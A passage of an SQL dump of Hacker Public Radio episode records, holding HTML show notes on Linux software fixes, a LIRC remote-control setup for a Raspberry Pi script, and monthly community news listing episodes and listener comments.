(Wikipedia)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/IPAQ\">Compaq/HP iPAQ PDA</a> (Wikipedia)</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Compaq computers\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/IPAQ_(desktop_computer)\">iPAQ</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Software niggles:\r\n<ul>\r\n<li><a href=\"https://www.audacityteam.org/\">Audacity software</a></li>\r\n<li><a href=\"https://calibre-ebook.com/\">Calibre e-book Manager</a></li>\r\n<li><a href=\"https://www.clementine-player.org/\">Clementine music player</a></li>\r\n<li><code>hdajackretask</code> from the <a href=\"https://alsa-project.org/wiki/Main_Page\">ALSA Project</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Operating system choices:\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org/downloads/raspbian/\">Raspbian Lite</a>\r\n<ul>\r\n<li>Dave’s HPR show about his <a href=\"https://hackerpublicradio.org/eps.php?id=2496\"><code>what_pi</code></a> script</li>\r\n</ul></li>\r\n<li><a href=\"https://osmc.tv/\">Open Source Media Center (OSMC)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CrunchBang_Linux\">Crunchbang Linux</a> (Wikipedia)</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>MrX’s shows that we were talking about:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2879\">Describing how I listen to podcasts PART 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2889\">Describing how I listen to podcasts PART 2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2901\">Describing how I listen to podcasts PART 3</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2914\">Describing how I listen to podcasts PART 4</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2923\">Describing how I listen to podcasts PART 5</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2933\">A walk through my PifaceCAD Python code – Part 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2951\">A walk through my PifaceCAD Python code – Part 2</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>The previous episode:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2905\">Two HPR hosts living in the same region finally meet up!</a></li>\r\n</ul></li>\r\n</ul>\r\n<section class=\"footnotes\">\r\n<hr />\r\n<ol>\r\n<li id=\"fn1\"><p><small>The person using a Palm Pilot to take meeting notes had an external keyboard, and wasn’t using handwriting recognition!</small><a href=\"#fnref1\" class=\"footnote-back\">↩</a></p></li>\r\n<li id=\"fn2\"><p><small><code>calibre</code> was failing with the error: <code>ImportError: No module named functools_lru_cache</code>. It later proved possible to fix this by reinstalling a Python module: <code>pip2 install --force backports.functools_lru_cache</code></small><a href=\"#fnref2\" class=\"footnote-back\">↩</a></p></li>\r\n<li id=\"fn3\"><p><small>There have been no releases of Clementine since 2016 sadly, though there are more recent changes on the GitHub page.</small><a href=\"#fnref3\" class=\"footnote-back\">↩</a></p></li>\r\n<li id=\"fn4\"><p><small>Information on the web about <em>alsa-tools-gui</em> seems a little sparse. The <em>hdajackretask</em> application has a README file in the distribution that gives some information.</small><a href=\"#fnref4\" class=\"footnote-back\">↩</a></p></li>\r\n</ol>\r\n</section>',225,0,1,'CC-BY-SA','HPR,hosts,meeting,technology',0,0,1),
(2976,'2019-12-30','A walk through my PifaceCAD Python code – Part 4',391,'This is the last show in the series and covers the main program section at the bottom of my script','<p>This is the last show in the series. The series was recorded in one go and split into multiple parts. This last section is pretty short; it covers the main program section at the bottom of my script that calls all the other functions and allows the user to quit the program. In this episode I also mention explanatory notes that I included in my script. These are mainly for my own benefit so I could remember how I set up lirc. I’ve included these notes at the end of these show notes.</p>\r\n<p><b>Main program</b><br />\r\nTurn LCD backlight on, print <em>System up</em> message to LCD, wait a few seconds then clear screen. Activate push buttons on control and display board. Activates various IR buttons waiting on input from the remote control. Print quit message to terminal, waiting for input, repeat message until q is entered by user. When q is entered deactivate buttons and turn LCD backlight off.</p>\r\n<p>Below are my Lirc explanatory comments at the end of my Python script.</p>\r\n<blockquote>\r\n<p><code>lirc</code><br />\r\nThis is the Linux IR control program<br />\r\nLIRC (Linux Infrared remote control) is an open source package that allows users to receive and send infrared signals with a Linux-based computer system.</p>\r\n<p><code>Irrecord</code><br />\r\nTool used to record valid IR codes from your remote control. It generates the file <code>/etc/lirc/lircd.conf</code>, possibly overwrites original file so use with caution. It attempts to recognise your remote control from a series of button pushes. If the remote is not recognised then it captures the codes in raw mode, I abandoned this tool and got a valid IR file for a very similar remote control on the internet, see info below</p>\r\n<p><code>/etc/lirc/lircd.conf</code><br />\r\nFile used to store IR codes for your remote control, either using the tool <code>irrecord</code> or from somewhere on the internet. This file is a direct copy of file <code>\"BN59-00861A-SAMSUNG-TV.conf\"</code> I added the Samsung TV string to the file name.</p>\r\n<p><code>irw</code><br />\r\nTool used to get the key names for your particular remote control, for this to work you must first have a valid <code>/etc/lirc/lircd.conf</code> file</p>\r\n<p><code>~/.lircrc</code><br />\r\nThis file is used to store the remote control key names that you want to activate, and what action is to be taken when the button is pushed. Adding the field <code>\"remote =\"</code> allows the use of multiple remote controls. The remote control key names can be found by using the command <code>\"irw\"</code>, I created a file called <code>~/scripts/remote-key-names-sorted.txt</code> to store the valid key names for my Samsung remote control</p>\r\n<p><code>~/scripts/remote-key-names-sorted.txt</code><br />\r\nList of valid remote control key names for my Samsung remote control, this was generated using the <code>irw</code> command. I used the <code>\"tee\"</code> command to pipe output to the screen and write output to this file at the same time, see file for further details of commands I used.</p>\r\n</blockquote>\r\n',201,38,1,'CC-BY-SA','Podcasts, Linux, Command Line, Python, Raspberry Pi',0,0,1),
(3241,'2021-01-04','HPR Community News for December 2020',4055,'HPR Volunteers Dave, ToeJet, and Ken talk about shows released and comments posted in December 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=11\" target=\"_blank\">Pat from TLLTS</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3217\" target=\"_blank\">3217</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-12-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3217\" target=\"_blank\">Sump Minion</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3218\" target=\"_blank\">3218</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-12-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3218\" target=\"_blank\">An introduction to Darktable</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3219\" target=\"_blank\">3219</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-12-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3219\" target=\"_blank\">Linux Inlaws S01E18: Voice Recognition and Text to Speech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3220\" target=\"_blank\">3220</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-12-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3220\" target=\"_blank\">PixelFed</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3221\" target=\"_blank\">3221</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-12-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3221\" target=\"_blank\">HPR Community News for November 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3222\" target=\"_blank\">3222</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-12-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3222\" target=\"_blank\">Musings about writing a book about the Odoo software suite</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3223\" target=\"_blank\">3223</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-12-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3223\" target=\"_blank\">My COVID year summary</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3224\" target=\"_blank\">3224</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-12-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3224\" target=\"_blank\">Adventures in Retrocomputing with the Mac Plus</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3225\" target=\"_blank\">3225</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-12-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3225\" target=\"_blank\">Grill repair</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3226\" target=\"_blank\">3226</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-12-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3226\" target=\"_blank\">Using taskwarrior to structurize your work</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3227\" target=\"_blank\">3227</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-12-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3227\" target=\"_blank\">Fresh water Aquarium Basics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3228\" target=\"_blank\">3228</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-12-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3228\" target=\"_blank\">YAML basics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3229\" target=\"_blank\">3229</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-12-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3229\" target=\"_blank\">Linux Inlaws S01E19: Redis</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3230\" target=\"_blank\">3230</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-12-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3230\" target=\"_blank\">Introduction to Layers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3231\" target=\"_blank\">3231</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-12-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3231\" target=\"_blank\">USB Key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3232\" target=\"_blank\">3232</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-12-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3232\" target=\"_blank\">Nextcloud</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3233\" target=\"_blank\">3233</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-12-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3233\" target=\"_blank\">HPR RPG Club reviews Shadowrun 5e</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3234\" target=\"_blank\">3234</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-12-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3234\" target=\"_blank\">Apple products I have owned</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3235\" target=\"_blank\">3235</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-12-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3235\" target=\"_blank\">Soldering Tips</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3236\" target=\"_blank\">3236</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-12-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3236\" target=\"_blank\">The State of Linux Audio Apps in 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=11\" target=\"_blank\">Pat from TLLTS</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3237\" target=\"_blank\">3237</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-12-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3237\" target=\"_blank\">Cloning a Hard Drive with Clonezilla</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3238\" target=\"_blank\">3238</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-12-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3238\" target=\"_blank\">Linux Inlaws S01E20: The Xmas and New Year Special</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3239\" target=\"_blank\">3239</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-12-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3239\" target=\"_blank\">New Community Project Proposal</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 3 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3090#comments\" target=\"_blank\">hpr3090</a></strong>\n(2020-06-05) \"<em>Locating Computer on a Enterprise Network</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3090#3\" target=\"_blank\">Comment 3</a>:\nnstr on 2020-12-01:\n\"wow\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3158#comments\" target=\"_blank\">hpr3158</a></strong>\n(2020-09-09) \"<em>Fingerprint access control? LOL... </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3158#3\" target=\"_blank\">Comment 3</a>:\ncrust punk on 2020-12-03:\n\"untitled\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3207#comments\" target=\"_blank\">hpr3207</a></strong>\n(2020-11-17) \"<em>Fireside chat with E Nigma</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3207#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2020-12-04:\n\"old days\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 15 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3218#comments\" target=\"_blank\">hpr3218</a></strong>\n(2020-12-02) \"<em>An introduction to Darktable</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3218#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2020-12-03:\n\"Another great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3218#2\" target=\"_blank\">Comment 2</a>:\nRay Arachelian on 2020-12-06:\n\"would have been useful to have this podcast as a video instead\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3218#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2020-12-08:\n\"Supporting Video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3220#comments\" target=\"_blank\">hpr3220</a></strong>\n(2020-12-04) \"<em>PixelFed</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3220#1\" target=\"_blank\">Comment 1</a>:\nsesamemucho on 2020-12-05:\n\"A complete and conclusive report\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3220#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-12-05:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3223#comments\" target=\"_blank\">hpr3223</a></strong>\n(2020-12-09) \"<em>My COVID year summary</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3223#1\" target=\"_blank\">Comment 1</a>:\nBrian-in-ohio on 2020-12-12:\n\"compliment\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3223#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2020-12-21:\n\"re: compliment\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3226#comments\" target=\"_blank\">hpr3226</a></strong>\n(2020-12-14) \"<em>Using taskwarrior to structurize your work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3226#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2020-12-16:\n\"I like it but probably won\'t switch completely\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3226#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-12-20:\n\"Write a manual!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3227#comments\" target=\"_blank\">hpr3227</a></strong>\n(2020-12-15) \"<em>Fresh water Aquarium Basics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3227#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2020-12-16:\n\"Pictures!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3231#comments\" target=\"_blank\">hpr3231</a></strong>\n(2020-12-21) \"<em>USB Key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3231#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-12-29:\n\"Great technique\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3232#comments\" target=\"_blank\">hpr3232</a></strong>\n(2020-12-22) \"<em>Nextcloud</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3232#1\" target=\"_blank\">Comment 1</a>:\nthe pro on 2020-12-22:\n\"this is a nice group\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3232#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2020-12-22:\n\"Upgrade via the UI ?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3232#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2020-12-23:\n\"Good inspiration!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3236#comments\" target=\"_blank\">hpr3236</a></strong>\n(2020-12-28) \"<em>The State of Linux Audio Apps in 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=11\" target=\"_blank\">Pat from TLLTS</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3236#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2020-12-28:\n\"Links for the Episode\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-December/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 3 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3261,'2021-02-01','HPR Community News for January 2021',3606,'HPR Volunteers talk about shows released and comments posted in January 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\" target=\"_blank\">TrumpetJohn</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3240\" target=\"_blank\">3240</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-01-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3240\" target=\"_blank\">Linux Under Attack</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3241\" target=\"_blank\">3241</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-01-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3241\" target=\"_blank\">HPR Community News for December 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3242\" target=\"_blank\">3242</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-01-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3242\" target=\"_blank\">The eternal battle over how to run your chromebook is about to begin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3243\" target=\"_blank\">3243</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-01-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3243\" target=\"_blank\">Pictor - free and open radio astronomy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3244\" target=\"_blank\">3244</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-01-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3244\" target=\"_blank\">Interview with Anco Scholte ter Horst CEO of Freedom Internet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3245\" target=\"_blank\">3245</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-01-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3245\" target=\"_blank\">ELECTRICITY</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3246\" target=\"_blank\">3246</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-01-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3246\" target=\"_blank\">LXCast: freeing the Fairphone 3 (and many other phones) </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\" target=\"_blank\">2BFrank</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3247\" target=\"_blank\">3247</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-01-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3247\" target=\"_blank\">Saturday Morning Automotive Routine</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\" target=\"_blank\">TrumpetJohn</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3248\" target=\"_blank\">3248</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-01-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3248\" target=\"_blank\">SARS-CoV-2 